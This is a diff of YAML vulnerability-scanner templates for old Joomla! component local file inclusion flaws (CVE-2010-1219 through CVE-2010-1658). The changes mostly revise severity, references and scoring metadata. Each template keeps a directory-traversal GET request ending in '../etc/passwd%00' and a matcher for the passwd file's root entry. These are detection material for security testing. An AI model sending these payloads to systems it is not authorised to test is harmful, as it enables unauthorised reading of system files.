+++ b/poc/cve/CVE-2010-1219.yaml @@ -3,39 +3,28 @@ id: CVE-2010-1219 info: name: Joomla! Component com_janews - Local File Inclusion author: daffainfo - severity: medium + severity: high description: A directory traversal vulnerability in the JA News (com_janews) component 1.0 for Joomla! allows remote attackers to read arbitrary local files via a .. (dot dot) in the controller parameter to index.php. - remediation: Upgrade to the latest version to mitigate this vulnerability. reference: - https://www.exploit-db.com/exploits/11757 - - https://nvd.nist.gov/vuln/detail/CVE-2010-1219 - - https://exchange.xforce.ibmcloud.com/vulnerabilities/56901 + - https://www.cvedetails.com/cve/CVE-2010-1219 + - http://secunia.com/advisories/38952 + - http://web.archive.org/web/20210617075625/https://www.securityfocus.com/bid/38746 + remediation: Upgrade to a supported version. classification: - cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P - cvss-score: 6.8 cve-id: CVE-2010-1219 - cwe-id: CWE-22 - epss-score: 0.00813 - epss-percentile: 0.79821 - cpe: cpe:2.3:a:com_janews:com_janews:1.0:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: com_janews - product: com_janews - tags: cve,cve2010,joomla,lfi,edb + tags: cve,cve2010,joomla,lfi -http: +requests: - method: GET path: - "{{BaseURL}}/index.php?option=com_janews&controller=../../../../../../../../../../etc/passwd%00" - matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - - type: status status: - 200 -# digest: 490a0046304402203b55b5d70c556d8fa8d2fd7ad9b1ffcf066201f8b14809e0a570bd54c552135202200ca283b09619cd2bfcfc7908c44129b62707baf1a461ae639e428f77b3828d8e:922c64590222798bb761d5b6d8e72950 \ No newline at end of file +# Enhanced by mp on 2022/02/14 diff --git a/poc/cve/CVE-2010-1305.yaml b/poc/cve/CVE-2010-1305.yaml index 4649188fed..03c98266d1 100644 --- a/poc/cve/CVE-2010-1305.yaml +++ b/poc/cve/CVE-2010-1305.yaml @@ -3,28 +3,42 @@ id: CVE-2010-1305 info: name: Joomla! Component JInventory 1.23.02 - Local File Inclusion author: daffainfo - severity: high + severity: medium description: A directory traversal vulnerability in jinventory.php in the JInventory (com_jinventory) component 1.23.02 and possibly other versions before 1.26.03, a module for Joomla!, allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. + remediation: Upgrade to the latest version to mitigate this vulnerability. reference: - https://www.exploit-db.com/exploits/12065 - - https://www.cvedetails.com/cve/CVE-2010-1305 + - https://nvd.nist.gov/vuln/detail/CVE-2010-1305 - http://extensions.joomla.org/extensions/e-commerce/shopping-cart/7951 - - http://secunia.com/advisories/39351 - remediation: Upgrade to a supported version. + - http://www.vupen.com/english/advisories/2010/0811 + - https://exchange.xforce.ibmcloud.com/vulnerabilities/57538 classification: + cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N + cvss-score: 5 cve-id: CVE-2010-1305 - tags: cve,cve2010,joomla,lfi + cwe-id: CWE-22 + epss-score: 0.03203 + epss-percentile: 0.90144 + cpe: cpe:2.3:a:joomlamo:com_jinventory:1.23.02:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: joomlamo + product: com_jinventory + tags: joomla,lfi,edb,cve,cve2010 -requests: +http: - method: GET path: - "{{BaseURL}}/index.php?option=com_jinventory&controller=../../../../../../../../../../etc/passwd%00" + matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" + - type: status status: - 200 -# Enhanced by mp on 2022/02/14 + +# digest: 4b0a00483046022100bc3fa7df7541125c278fceb868999f9d06c14e5b720706c47bc82492fa76ac9f022100c894c6f606573acde66f664a8df6cf3fdb6685bccaa6fb52e0e05dddfc7b5f55:922c64590222798bb761d5b6d8e72950 diff --git a/poc/cve/CVE-2010-1307.yaml b/poc/cve/CVE-2010-1307.yaml index 9b5bb7b612..f7ccea9fd6 100644 --- a/poc/cve/CVE-2010-1307.yaml +++ b/poc/cve/CVE-2010-1307.yaml @@ -3,28 +3,40 @@ id: CVE-2010-1307 info: name: Joomla! Component Magic Updater - Local File Inclusion author: daffainfo - severity: high + severity: medium description: A directory traversal vulnerability in the Magic Updater (com_joomlaupdater) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. + remediation: Upgrade to the latest version to mitigate this vulnerability. reference: - https://www.exploit-db.com/exploits/12070 - - https://www.cvedetails.com/cve/CVE-2010-1307 - - http://secunia.com/advisories/39348 + - https://nvd.nist.gov/vuln/detail/CVE-2010-1307 - http://www.vupen.com/english/advisories/2010/0806 - remediation: Upgrade to a supported version. + - https://exchange.xforce.ibmcloud.com/vulnerabilities/57531 classification: + cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N + cvss-score: 5 cve-id: CVE-2010-1307 - tags: cve,cve2010,joomla,lfi + cwe-id: CWE-22 + epss-score: 0.01751 + epss-percentile: 0.86555 + cpe: cpe:2.3:a:software.realtyna:com_joomlaupdater:1.0:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: software.realtyna + product: com_joomlaupdater + tags: edb,cve,cve2010,joomla,lfi -requests: +http: - method: GET path: - "{{BaseURL}}/index.php?option=com_joomlaupdater&controller=../../../../../../../etc/passwd%00" + matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" + - type: status status: - 200 -# Enhanced by mp on 2022/02/14 +# digest: 4b0a00483046022100a05fd5959bc75083a6315e4a0d46eb13a336197ccd9e4936351b69fe89d831610221009e4164e1ec32d3bb277064206f063e35a66c6e271c28ee71b672808e8871f821:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2010-1308.yaml b/poc/cve/CVE-2010-1308.yaml index 5cf67b77a5..f9f2d84665 100644 --- a/poc/cve/CVE-2010-1308.yaml +++ b/poc/cve/CVE-2010-1308.yaml @@ -3,39 +3,27 @@ id: CVE-2010-1308 info: name: Joomla! Component SVMap 1.1.1 - Local File Inclusion author: daffainfo - severity: medium + severity: high description: A directory traversal vulnerability in the SVMap (com_svmap) component 1.1.1 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. - remediation: Upgrade to the latest version to mitigate this vulnerability. reference: - https://www.exploit-db.com/exploits/12066 - - https://nvd.nist.gov/vuln/detail/CVE-2010-1308 + - https://www.cvedetails.com/cve/CVE-2010-1308 - http://www.vupen.com/english/advisories/2010/0809 + remediation: Upgrade to a supported version. classification: - cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N - cvss-score: 5 cve-id: CVE-2010-1308 - cwe-id: CWE-22 - epss-score: 0.01334 - epss-percentile: 0.8453 - cpe: cpe:2.3:a:la-souris-verte:com_svmap:1.1.1:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: la-souris-verte - product: com_svmap - tags: cve,cve2010,joomla,lfi,edb + tags: cve,cve2010,joomla,lfi -http: +requests: - method: GET path: - "{{BaseURL}}/index.php?option=com_svmap&controller=../../../../../../../etc/passwd%00" - matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - - type: status status: - 200 -# digest: 490a00463044022052f9893de080a765f8f369fb9af42c75639829feb1076f505477b6c749ffdd3e02205cf069baa0e266cf37a543a3947fb4d8c313e1c47a99d1b23e4bd7b3bab7bf16:922c64590222798bb761d5b6d8e72950 \ No newline at end of file +# Enhanced by mp on 2022/02/14 diff --git a/poc/cve/CVE-2010-1312.yaml b/poc/cve/CVE-2010-1312.yaml index 4da1d89c59..cc121bbc5f 100644 --- a/poc/cve/CVE-2010-1312.yaml +++ b/poc/cve/CVE-2010-1312.yaml @@ -3,39 +3,28 @@ id: CVE-2010-1312 info: name: Joomla! Component News Portal 1.5.x - Local File Inclusion author: daffainfo - severity: medium + severity: high description: A directory traversal vulnerability in the iJoomla News Portal (com_news_portal) component 1.5.x for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. - remediation: Upgrade to the latest version to mitigate this vulnerability. reference: - https://www.exploit-db.com/exploits/12077 - - https://nvd.nist.gov/vuln/detail/CVE-2010-1312 + - https://www.cvedetails.com/cve/CVE-2010-1312 + - http://secunia.com/advisories/39289 - http://packetstormsecurity.org/1004-exploits/joomlanewportal-lfi.txt + remediation: Upgrade to a supported version. classification: - cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N - cvss-score: 5 cve-id: CVE-2010-1312 - cwe-id: CWE-22 - epss-score: 0.01155 - epss-percentile: 0.8323 - cpe: cpe:2.3:a:ijoomla:com_news_portal:1.5.1:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: ijoomla - product: com_news_portal - tags: cve,cve2010,joomla,lfi,edb,packetstorm + tags: cve,cve2010,joomla,lfi -http: +requests: - method: GET path: - "{{BaseURL}}/index.php?option=com_news_portal&controller=../../../../../../../../../../etc/passwd%00" - matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - - type: status status: - 200 -# digest: 490a00463044022068f1c808475859e9e179bfc89091007168c150846a9c703235e28db5541d2ee20220246dcb60ed38b87001130b3d890c1a08d15278a5bf235d42753610ed1b2e099a:922c64590222798bb761d5b6d8e72950 \ No newline at end of file +# Enhanced by mp on 2022/02/14 diff --git a/poc/cve/CVE-2010-1314.yaml b/poc/cve/CVE-2010-1314.yaml index 0d487cfbda..ade5db0657 100644 --- a/poc/cve/CVE-2010-1314.yaml +++ b/poc/cve/CVE-2010-1314.yaml @@ -3,25 +3,39 @@ id: CVE-2010-1314 info: name: Joomla! Component Highslide 1.5 - Local File Inclusion author: daffainfo - severity: high - description: Directory traversal vulnerability in the Highslide JS (com_hsconfig) component 1.5 and 2.0.9 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. + severity: medium + description: A directory traversal vulnerability in the Highslide JS (com_hsconfig) component 1.5 and 2.0.9 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. + remediation: Upgrade to the latest version to mitigate this vulnerability. reference: - https://www.exploit-db.com/exploits/12086 - - https://www.cvedetails.com/cve/CVE-2010-1314 - tags: cve,cve2010,joomla,lfi + - https://nvd.nist.gov/vuln/detail/CVE-2010-1314 + - http://packetstormsecurity.org/1004-exploits/joomlahsconfig-lfi.txt + classification: + cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N + cvss-score: 5 + cve-id: CVE-2010-1314 + cwe-id: CWE-22 + epss-score: 0.00477 + epss-percentile: 0.73053 + cpe: cpe:2.3:a:joomlanook:com_hsconfig:1.5:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: joomlanook + product: com_hsconfig + tags: lfi,edb,packetstorm,cve,cve2010,joomla -requests: +http: - method: GET path: - "{{BaseURL}}/index.php?option=com_hsconfig&controller=../../../../../../../../../../etc/passwd%00" matchers-condition: and matchers: - - type: regex regex: - - "root:.*:0:0" + - "root:.*:0:0:" - type: status status: - 200 +# digest: 490a0046304402200b6a43637d70b86509ccf0e9fd6c091e118e67e7279e25af04be63ee66b40dd702200166abf4bef63353ff79c13f208becf40738803cfb24f4e7a7c785bc1a42eec5:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2010-1315.yaml b/poc/cve/CVE-2010-1315.yaml index 23f6f0f530..b734dabdda 100644 --- a/poc/cve/CVE-2010-1315.yaml +++ b/poc/cve/CVE-2010-1315.yaml @@ -1,26 +1,42 @@ id: CVE-2010-1315 + info: name: Joomla! Component webERPcustomer - Local File Inclusion author: daffainfo - severity: high + severity: medium description: A directory traversal vulnerability in weberpcustomer.php in the webERPcustomer (com_weberpcustomer) component 1.2.1 and 1.x before 1.06.02 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. - remediation: Upgrade to a supported version. + remediation: Upgrade to the latest version to mitigate this vulnerability. reference: - https://www.exploit-db.com/exploits/11999 - - https://www.cvedetails.com/cve/CVE-2010-1315 - tags: cve,cve2010,joomla,lfi + - https://nvd.nist.gov/vuln/detail/CVE-2010-1315 + - http://packetstormsecurity.org/1004-exploits/joomlaweberpcustomer-lfi.txt + - https://exchange.xforce.ibmcloud.com/vulnerabilities/57482 classification: + cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N + cvss-score: 5 cve-id: CVE-2010-1315 -requests: + cwe-id: CWE-22 + epss-score: 0.0087 + epss-percentile: 0.805 + cpe: cpe:2.3:a:joomlamo:com_weberpcustomer:1.2.1:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: joomlamo + product: com_weberpcustomer + tags: cve,cve2010,joomla,lfi,edb,packetstorm + +http: - method: GET path: - "{{BaseURL}}/index.php?option=com_weberpcustomer&controller=../../../../../../../../../../etc/passwd%00" + matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" + - type: status status: - 200 -# Enhanced by mp on 2022/02/14 +# digest: 490a0046304402201f24a3c2d9722a3026da76fe9d67d4c8cefbe1a16bd92338ab7ecc5d180fc40b02201282549bea960a3b4a973805686a3df9bbbbc7530004ae5336dc598fed474968:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2010-1345.yaml b/poc/cve/CVE-2010-1345.yaml index d97a1f819f..814e4ab08a 100644 --- a/poc/cve/CVE-2010-1345.yaml +++ b/poc/cve/CVE-2010-1345.yaml @@ -4,26 +4,24 @@ info: name: Joomla! Component Cookex Agency CKForms - Local File Inclusion author: daffainfo severity: high - description: A directory traversal vulnerability in the Cookex Agency CKForms (com_ckforms) component 1.3.3 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. + description: Directory traversal vulnerability in the Cookex Agency CKForms (com_ckforms) component 1.3.3 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. reference: - https://www.exploit-db.com/exploits/15453 - https://www.cvedetails.com/cve/CVE-2010-1345 - - http://www.exploit-db.com/exploits/11785 - remediation: Upgrade to a supported version. - classification: - cve-id: CVE-2010-1345 tags: cve,cve2010,joomla,lfi requests: - method: GET path: - "{{BaseURL}}/index.php?option=com_ckforms&controller=../../../../../../../../../../etc/passwd%00" + matchers-condition: and matchers: + - type: regex regex: - - "root:.*:0:0:" + - "root:.*:0:0" + - type: status status: - 200 -# Enhanced by mp on 2022/02/14 diff --git a/poc/cve/CVE-2010-1352.yaml b/poc/cve/CVE-2010-1352.yaml index 0013ad1ae8..6407cbdf58 100644 --- a/poc/cve/CVE-2010-1352.yaml +++ b/poc/cve/CVE-2010-1352.yaml @@ -1,26 +1,41 @@ id: CVE-2010-1352 + info: name: Joomla! Component Juke Box 1.7 - Local File Inclusion author: daffainfo - severity: high + severity: medium description: A directory traversal vulnerability in the JOOFORGE Jutebox (com_jukebox) component 1.0 and 1.7 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. - remediation: Upgrade to a supported version. + remediation: Upgrade to the latest version to mitigate this vulnerability. reference: - https://www.exploit-db.com/exploits/12084 - - https://www.cvedetails.com/cve/CVE-2010-1352 - tags: cve,cve2010,joomla,lfi + - https://nvd.nist.gov/vuln/detail/CVE-2010-1352 + - http://packetstormsecurity.org/1004-exploits/joomlajukebox-lfi.txt classification: + cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N + cvss-score: 5 cve-id: CVE-2010-1352 -requests: + cwe-id: CWE-22 + epss-score: 0.00477 + epss-percentile: 0.73053 + cpe: cpe:2.3:a:jooforge:com_jukebox:1.0:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: jooforge + product: com_jukebox + tags: cve,cve2010,joomla,lfi,edb,packetstorm + +http: - method: GET path: - "{{BaseURL}}/index.php?option=com_jukebox&controller=../../../../../../../../../../etc/passwd%00" + matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" + - type: status status: - 200 -# Enhanced by mp on 2022/02/14 +# digest: 4a0a0047304502207cb1a498239b8d647be965d184b368ff9f5f123e9ad532de0cff84b97ea1b003022100fcac528c2ff17e817ed4f2f8b3f44559286c5e1849a3f64db32533528eafff04:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2010-1471.yaml b/poc/cve/CVE-2010-1471.yaml index 241bf8dce9..917e39b241 100644 --- a/poc/cve/CVE-2010-1471.yaml +++ b/poc/cve/CVE-2010-1471.yaml @@ -5,38 +5,24 @@ info: author: daffainfo severity: high description: A directory traversal vulnerability in the AddressBook (com_addressbook) component 1.5.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. - remediation: | - Update to the latest version of Joomla! Component Address Book or apply the necessary patches to fix the LFI vulnerability. + remediation: Upgrade to a supported version. reference: - https://www.exploit-db.com/exploits/12170 - - https://nvd.nist.gov/vuln/detail/CVE-2010-1471 - - http://www.vupen.com/english/advisories/2010/0862 + - https://www.cvedetails.com/cve/CVE-2010-1471 + tags: cve,cve2010,joomla,lfi classification: - cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P - cvss-score: 7.5 cve-id: CVE-2010-1471 - cwe-id: CWE-22 - epss-score: 0.05684 - epss-percentile: 0.92521 - cpe: cpe:2.3:a:b-elektro:com_addressbook:1.5.0:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: b-elektro - product: com_addressbook - tags: cve,cve2010,joomla,lfi,edb -http: +requests: - method: GET path: - "{{BaseURL}}/index.php?option=com_addressbook&controller=../../../../../../../../../../etc/passwd%00" - matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - - type: status status: - 200 -# digest: 490a00463044022019466874e6d5457f04fc00b2cec8f4c0d900f947ad6d5df0dd072247d2568b57022027b9e0838dd1a5dc5829f1fe5f13fdae524f2ca216c8b1775cb3a7f2f151e435:922c64590222798bb761d5b6d8e72950 \ No newline at end of file +# Enhanced by mp on 2022/02/14 diff --git a/poc/cve/CVE-2010-1475.yaml b/poc/cve/CVE-2010-1475.yaml index f6cbbee8b4..bb3e999cac 100644 --- a/poc/cve/CVE-2010-1475.yaml +++ b/poc/cve/CVE-2010-1475.yaml @@ -3,41 +3,27 @@ id: CVE-2010-1475 info: name: Joomla! Component Preventive And Reservation 1.0.5 - Local File Inclusion author: daffainfo - severity: medium + severity: high description: A directory traversal vulnerability in the Preventive & Reservation (com_preventive) component 1.0.5 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php. - remediation: | - Update to the latest version of Joomla! Component Preventive And Reservation and apply any available patches or fixes to mitigate the LFI vulnerability. reference: - https://www.exploit-db.com/exploits/12147 - - https://nvd.nist.gov/vuln/detail/CVE-2010-1475 - - http://www.exploit-db.com/exploits/12147 - - https://exchange.xforce.ibmcloud.com/vulnerabilities/57652 + - https://www.cvedetails.com/cve/CVE-2010-1475 + - http://secunia.com/advisories/39285 classification: - cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P - cvss-score: 6.8 cve-id: CVE-2010-1475 - cwe-id: CWE-22 - epss-score: 0.01242 - epss-percentile: 0.83919 - cpe: cpe:2.3:a:ternaria:com_preventive:1.0.5:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: ternaria - product: com_preventive - tags: edb,cve,cve2010,joomla,lfi + tags: cve,cve2010,joomla,lfi -http: +requests: - method: GET path: - "{{BaseURL}}/index.php?option=com_preventive&controller==../../../../../../../../../../etc/passwd%00" - matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - - type: status status: - 200 -# digest: 4a0a00473045022100e408c944fe56c84a94d66b4eff0bb96007295fb56c6868c5405b0860175e3c97022055ce68120fc14d250874605d5d1780b298a3b8c1e25287ca0e25e5dafb0e90a1:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + +# Enhanced by mp on 2022/03/24 diff --git a/poc/cve/CVE-2010-1476.yaml b/poc/cve/CVE-2010-1476.yaml index 169faeefa5..156adbb01b 100644 --- a/poc/cve/CVE-2010-1476.yaml +++ b/poc/cve/CVE-2010-1476.yaml @@ -3,40 +3,28 @@ id: CVE-2010-1476 info: name: Joomla! Component AlphaUserPoints 1.5.5 - Local File Inclusion author: daffainfo - severity: medium + severity: high description: A directory traversal vulnerability in the AlphaUserPoints (com_alphauserpoints) component 1.5.5 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the view parameter to index.php. - remediation: Upgrade to the latest version to mitigate this vulnerability. reference: - https://www.exploit-db.com/exploits/12150 - - https://nvd.nist.gov/vuln/detail/CVE-2010-1476 + - https://www.cvedetails.com/cve/CVE-2010-1476 - http://packetstormsecurity.org/1004-exploits/joomlaalphauserpoints-lfi.txt - http://www.alphaplug.com/ + remediation: Upgrade to a supported version. classification: - cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P - cvss-score: 6.8 cve-id: CVE-2010-1476 - cwe-id: CWE-22 - epss-score: 0.03527 - epss-percentile: 0.9055 - cpe: cpe:2.3:a:alphaplug:com_alphauserpoints:1.5.5:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: alphaplug - product: com_alphauserpoints - tags: joomla,lfi,edb,packetstorm,cve,cve2010 + tags: cve,cve2010,joomla,lfi -http: +requests: - method: GET path: - "{{BaseURL}}/index.php?option=com_alphauserpoints&view=../../../../../../../../../../etc/passwd%00" - matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - - type: status status: - 200 -# digest: 4a0a0047304502200f816b2e73584c543116b1679244571cf88669e35f2aa243db206707ed680d00022100a39081387978027ed0047261033e38a89a17793458ac0b206bd631e1d4585392:922c64590222798bb761d5b6d8e72950 \ No newline at end of file +# Enhanced by mp on 2022/02/14 diff --git a/poc/cve/CVE-2010-1478.yaml b/poc/cve/CVE-2010-1478.yaml index 7527537d2a..f9b8e77126 100644 --- a/poc/cve/CVE-2010-1478.yaml +++ b/poc/cve/CVE-2010-1478.yaml @@ -3,38 +3,29 @@ id: CVE-2010-1478 info: name: Joomla! Component Jfeedback 1.2 - Local File Inclusion author: daffainfo - severity: medium + severity: high description: A directory traversal vulnerability in the Ternaria Informatica Jfeedback! (com_jfeedback) component 1.2 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php. - remediation: Upgrade to the latest version to mitigate this vulnerability. reference: - https://www.exploit-db.com/exploits/12145 - - https://nvd.nist.gov/vuln/detail/CVE-2010-1478 + - https://www.cvedetails.com/cve/CVE-2010-1478 + - http://secunia.com/advisories/39262 + - http://web.archive.org/web/20210121195422/https://www.securityfocus.com/bid/39390/ + remediation: Upgrade to a supported version. classification: - cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P - cvss-score: 6.8 cve-id: CVE-2010-1478 - cwe-id: CWE-22 - epss-score: 0.00826 - epss-percentile: 0.79995 - cpe: cpe:2.3:a:ternaria:com_jfeedback:1.2:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: ternaria - product: com_jfeedback - tags: cve,cve2010,joomla,lfi,edb + tags: cve,cve2010,joomla,lfi -http: +requests: - method: GET path: - "{{BaseURL}}/index.php?option=com_jfeedback&controller=../../../../../../../../../../etc/passwd%00" - matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - - type: status status: - 200 -# digest: 4a0a00473045022100efe0caf834155ac0e8479dfdb85deed7a364858025159b76315657da827e3b440220097af0e0883fdf4c052a0600db7420ca5036aab1c21785d5cd3b66e1cee09536:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + +# Enhanced by mp on 2022/02/14 diff --git a/poc/cve/CVE-2010-1491.yaml b/poc/cve/CVE-2010-1491.yaml index 25b76d1d65..a3787a9ee2 100644 --- a/poc/cve/CVE-2010-1491.yaml +++ b/poc/cve/CVE-2010-1491.yaml @@ -3,28 +3,40 @@ id: CVE-2010-1491 info: name: Joomla! Component MMS Blog 2.3.0 - Local File Inclusion author: daffainfo - severity: high + severity: medium description: A directory traversal vulnerability in the MMS Blog (com_mmsblog) component 2.3.0 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php. + remediation: Upgrade to the latest version to mitigate this vulnerability. reference: - https://www.exploit-db.com/exploits/12318 - - https://www.cvedetails.com/cve/CVE-2010-1491 + - https://nvd.nist.gov/vuln/detail/CVE-2010-1491 - http://packetstormsecurity.org/1004-exploits/joomlammsblog-lfi.txt - - http://web.archive.org/web/20140724060325/http://secunia.com/advisories/39533/ - remediation: Upgrade to a supported version. + - http://www.exploit-db.com/exploits/12318 classification: + cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N + cvss-score: 5 cve-id: CVE-2010-1491 - tags: cve,cve2010,joomla,lfi + cwe-id: CWE-22 + epss-score: 0.00477 + epss-percentile: 0.73053 + cpe: cpe:2.3:a:mms.pipp:com_mmsblog:2.3.0:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: mms.pipp + product: com_mmsblog + tags: cve2010,joomla,lfi,edb,packetstorm,cve -requests: +http: - method: GET path: - "{{BaseURL}}/index.php?option=com_mmsblog&controller=../../../../../../../../../../etc/passwd%00" + matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" + - type: status status: - 200 -# Enhanced by mp on 2022/02/14 +# digest: 4a0a004730450220390d3ba770b23fd5562b5a848dbd5569ac9dd207266f0349bb661065c29216c90221008609f118c4b1cc0bd55da09bdd9a217544939f96de3729d8d47fb4c62130ec46:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2010-1601.yaml b/poc/cve/CVE-2010-1601.yaml index 3c6d79da18..492c29e5d9 100644 --- a/poc/cve/CVE-2010-1601.yaml +++ b/poc/cve/CVE-2010-1601.yaml @@ -3,41 +3,28 @@ id: CVE-2010-1601 info: name: Joomla! Component JA Comment - Local File Inclusion author: daffainfo - severity: medium + severity: high description: A directory traversal vulnerability in the JA Comment (com_jacomment) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the view parameter to index.php. - remediation: | - Apply the latest security patches or upgrade to a patched version of Joomla! Component JA Comment to mitigate the LFI vulnerability. reference: - https://www.exploit-db.com/exploits/12236 - - https://nvd.nist.gov/vuln/detail/CVE-2010-1601 + - https://www.cvedetails.com/cve/CVE-2010-1601 + - http://secunia.com/advisories/39472 - http://packetstormsecurity.org/1004-exploits/joomlajacomment-lfi.txt - - https://exchange.xforce.ibmcloud.com/vulnerabilities/57848 classification: - cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N - cvss-score: 5 cve-id: CVE-2010-1601 - cwe-id: CWE-22 - epss-score: 0.01299 - epss-percentile: 0.84331 - cpe: cpe:2.3:a:joomlamart:com_jacomment:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: joomlamart - product: com_jacomment - tags: cve2010,joomla,lfi,edb,packetstorm,cve + tags: cve,cve2010,joomla,lfi -http: +requests: - method: GET path: - "{{BaseURL}}/index.php?option=com_jacomment&view=../../../../../../../../../../etc/passwd%00" - matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - - type: status status: - 200 -# digest: 4a0a00473045022001060f2941fb902140fe0cb50c2e0482ecc78f87c8642a89f7c2f0ffa7f0258a022100927fc768dbbbd20f98168e4fecfdf41d02ae7989ab4ef906253f7158992dd593:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + +# Enhanced by mp on 2022/03/24 diff --git a/poc/cve/CVE-2010-1607.yaml b/poc/cve/CVE-2010-1607.yaml index 098c802190..1164637bf7 100644 --- a/poc/cve/CVE-2010-1607.yaml +++ b/poc/cve/CVE-2010-1607.yaml @@ -3,40 +3,28 @@ id: CVE-2010-1607 info: name: Joomla! Component WMI 1.5.0 - Local File Inclusion author: daffainfo - severity: medium + severity: high description: A directory traversal vulnerability in wmi.php in the Webmoney Web Merchant Interface (aka WMI or com_wmi) component 1.5.0 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php. - remediation: | - Update Joomla! Component WMI to the latest version or apply the provided patch to fix the LFI vulnerability. reference: - https://www.exploit-db.com/exploits/12316 - - https://nvd.nist.gov/vuln/detail/CVE-2010-1607 - - https://exchange.xforce.ibmcloud.com/vulnerabilities/58032 + - https://www.cvedetails.com/cve/CVE-2010-1607 + - http://web.archive.org/web/20210121195713/https://www.securityfocus.com/bid/39608/ + - http://secunia.com/advisories/39539 classification: - cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P - cvss-score: 6.8 cve-id: CVE-2010-1607 - cwe-id: CWE-22 - epss-score: 0.01726 - epss-percentile: 0.86455 - cpe: cpe:2.3:a:paysyspro:com_wmi:1.5.0:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: paysyspro - product: com_wmi - tags: cve,cve2010,joomla,lfi,edb + tags: cve,cve2010,joomla,lfi -http: +requests: - method: GET path: - "{{BaseURL}}/index.php?option=com_wmi&controller=../../../../../../../../../etc/passwd%00" - matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - - type: status status: - 200 -# digest: 4a0a0047304502207ac2a9a7ed5ef5a451951402747e535e0208090434380f4374f14e0c5163ffb1022100bdde68d3e85c019ff9f80f873ebf6eb91381904d906c744ce809771bca665539:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + +# Enhanced by mp on 2022/03/07 diff --git a/poc/cve/CVE-2010-1658.yaml b/poc/cve/CVE-2010-1658.yaml index ad46fa05d7..aae12dd013 100644 --- a/poc/cve/CVE-2010-1658.yaml +++ b/poc/cve/CVE-2010-1658.yaml @@ -3,41 +3,28 @@ id: CVE-2010-1658 info: name: Joomla! Component NoticeBoard 1.3 - Local 